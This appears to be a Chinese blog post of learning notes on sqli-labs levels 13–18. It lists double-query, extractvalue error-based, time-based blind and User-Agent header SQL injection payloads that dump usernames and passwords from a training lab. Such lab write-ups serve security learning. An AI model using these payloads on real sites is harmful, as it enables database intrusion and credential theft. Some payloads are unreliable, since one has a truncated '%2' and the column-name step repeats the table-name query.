sqli-labs靶场练习笔记13-18

Less-13:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号字符型双注入)

该注入是单引号+括号型的注入,利用order by判断输出列数为3;
该题可以通过双注入实现,也可通过报错注入实现。
  双注入实现:

')  union select count(1),concat(floor(rand()*2),(select concat(username,'~',password) from users limit 0,1))  as a from  information_schema.tables group by a %23

  

  报错注入实现:

')  or extractvalue(1,concat (0x7e,(select concat(username,'*',password) from users limit 0,1))) %23

  

Less-14:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号(双引号)字符型注入)

同上,该注入是双引号注入,同样也能通过双注入和报错注入试下实现:
  双注入实现;

" union select count(1),concat(floor(rand()*2),(select concat(username,'*',password) from users limit 0,1)) as a from information_schema.tables group by a %23       

  报错注入实现:

" or extractvalue(1,concat(0x7e,(select concat(username,'*',password) from users limit 0,1))) %23

  

Less-15:POST-Blind-Boolian/time Based-Single quotes(基于POST的单引号布尔/时间盲注)

判断注入类型,无论什么方法都没有回显,因此可以通过sleep()函数判断该注入的类型:

=' or sleep(0.2) %23

当注入类型没有错误时,会执行sleep()函数,因此会休眠两秒;
通过该页面右下角的millis可以得知,该相应延迟了2秒左右,因此能够判断该注入是单引号类型的注入。

通过之前的时间盲注可以进行注入:

' or if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(0.2),0) %2

  ps:sleep(),在MySQL中,参数的单位是秒;
      在这里插入图片描述
    而在bp中,单位是十秒???

    

    求大佬告知

Less-16:POST-Blind-Boolian/time Based-Double quotes(基于POSt的双引号布尔/时间盲注)

与上题一样,通过sleep()判断该注入类型为双引号+单括号类型的注入:

通过时间盲注进行注入:

") or if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(0.2),0) %23 

Less-17:POST-Update Query-Error Basd-String(基于POST的更新查询字符型报错注入)

与其他在登录时产生的注入不同,该题的注入是在用户修改密码时发生的,并且通过该题的源码可知,修改密码实际上更改了数据库的内容,因此需要用到UPDATE操作,

通过以下源码片段了解到该题对username的输入做了过滤,截取前十五个字符,对字符进行转义等等:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

如果要修改密码,则必须要知道正确的用户名,因此我们无法像之前在username输入框进行测试,只有在修改密码的输入框进行注入测试。这里可以用burpsuite进行抓包改包测试;

该注入是无回显注入,因此可以利用sleep()函数对注入类型进行测试:

' or sleep(0.2) %23

`

      通过该页面右下角的millis可以得知,该相应延迟了2秒左右,因此能够判断该注入是单引号类型的注入。

类似于时间盲注,对每个字符进行判断:

' or   if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(2),0)   %23

  

Less-18:POST-Header Injection-Uagent field-Error based(基于POST的HTTP请求头Uagent field的报错注入)

通过分析源码可得,name和password输入都进行了过滤处理。因此我们不能在输入框进行输入。
在这里插入图片描述
通过insert语句可知,尝试利用uagents字段可以进行注入:
在这里插入图片描述
利用报错注入,但是无法得出想要的结果:


分析之后,在insert语句中,如果利用注释符号对输入后面进行注入,那么会注释掉value后面的语句,这样该insert语法错误,因此可以利用or或者and对注释符进行绕过。

'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

爆表名:

' or extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema=database() limit 3,1))) or'

爆列名:

' or extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema=database() limit 3,1))) or'


爆数据

 ' or extractvalue(1,concat(0x7e,(select concat(username,'*',password) from users limit 0,1))) or'

未完待续。。。。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值